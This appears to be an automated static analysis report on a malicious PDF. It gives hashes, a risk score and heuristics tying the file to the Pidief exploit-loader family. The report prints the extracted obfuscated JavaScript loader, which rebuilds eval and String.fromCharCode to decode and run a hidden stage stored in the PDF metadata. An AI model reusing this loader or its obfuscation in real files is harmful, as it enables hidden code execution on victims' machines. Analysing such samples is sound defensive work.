Malicious PDF — malware analysis report

Static analysis result for SHA-256 2ba4fcd4121941d8…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2013-07-12
MD5: 842d8b5a725d407d86964dd9a91b33f9 SHA-1: 3f2ebc0a38a92a1d7034c8d212210658dac1e03f SHA-256: 2ba4fcd4121941d8c8b92eed6f3153d4dcb9315f14ecd753599042076a54b27c
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB05F 529 bytes
SHA-256: 22671478aed5facf6e545763d42ccc50323e090e795128e7c323b6dc13ccdc88
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
zz='keyw';
zz+='ords';
epswf=e(zz);
l='leng';
l+='t'+'';
l+='h';
q=epswf[v](a[l]-7,9);
d='Strin';
d+='g.';
d+='f'+'r';
d+='o';
d+=q;
mqdkv=e(e('d'));
sub=v[0];
sub+='ubject';
q=epswf[e('v')](t[l]+12)[v[0]+e(sub)+'t']('c');
k=q[t[0]+'eng'+'t'+''+'h'];
i=t[t[0]+'eng'+'t'+''+'h']-2;
for(;i!==k;){
	ioc = 1*(q[i]);
	i++;
	ioc -= (-1)*(q[i]);
	s2 += mqdkv(ioc);
	i++;
}
e(s2);

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